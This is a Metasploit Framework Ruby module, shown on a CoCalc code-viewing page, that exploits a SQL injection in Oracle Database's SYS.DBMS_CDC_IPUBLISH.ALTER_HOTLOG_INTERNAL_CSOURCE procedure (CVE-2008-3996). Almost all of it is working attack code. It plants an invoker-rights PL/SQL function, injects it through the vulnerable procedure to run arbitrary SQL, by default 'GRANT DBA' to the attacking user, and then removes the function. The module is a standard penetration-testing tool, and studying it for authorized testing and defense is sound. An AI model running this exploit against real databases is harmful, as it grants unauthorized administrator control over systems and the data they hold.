CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::ORACLE
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',
12
'Description' => %q{
13
The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE
14
procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege
15
on the vulnerable package can exploit this vulnerability. By default, users granted
16
EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database
17
Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2008-3996' ],
24
[ 'OSVDB', '49321']
25
],
26
'DisclosureDate' => '2008-10-22'))
27
28
register_options(
29
[
30
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
31
])
32
end
33
34
35
def run
36
return if not check_dependencies
37
38
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39
40
function = "
41
CREATE OR REPLACE FUNCTION #{name}
42
RETURN VARCHAR2 AUTHID CURRENT_USER
43
IS
44
PRAGMA AUTONOMOUS_TRANSACTION;
45
BEGIN
46
EXECUTE IMMEDIATE '#{datastore['SQL']}';
47
COMMIT;
48
RETURN NULL;
49
END;"
50
51
package = "
52
BEGIN
53
SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"
54
55
clean = "DROP FUNCTION #{name}"
56
57
begin
58
print_status("Sending function...")
59
prepare_exec(function)
60
rescue => e
61
return
62
end
63
64
print_status("Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...")
65
prepare_exec(package)
66
67
print_status("Done! Removing function '#{name}'...")
68
prepare_exec(clean)
69
end
70
end
71
72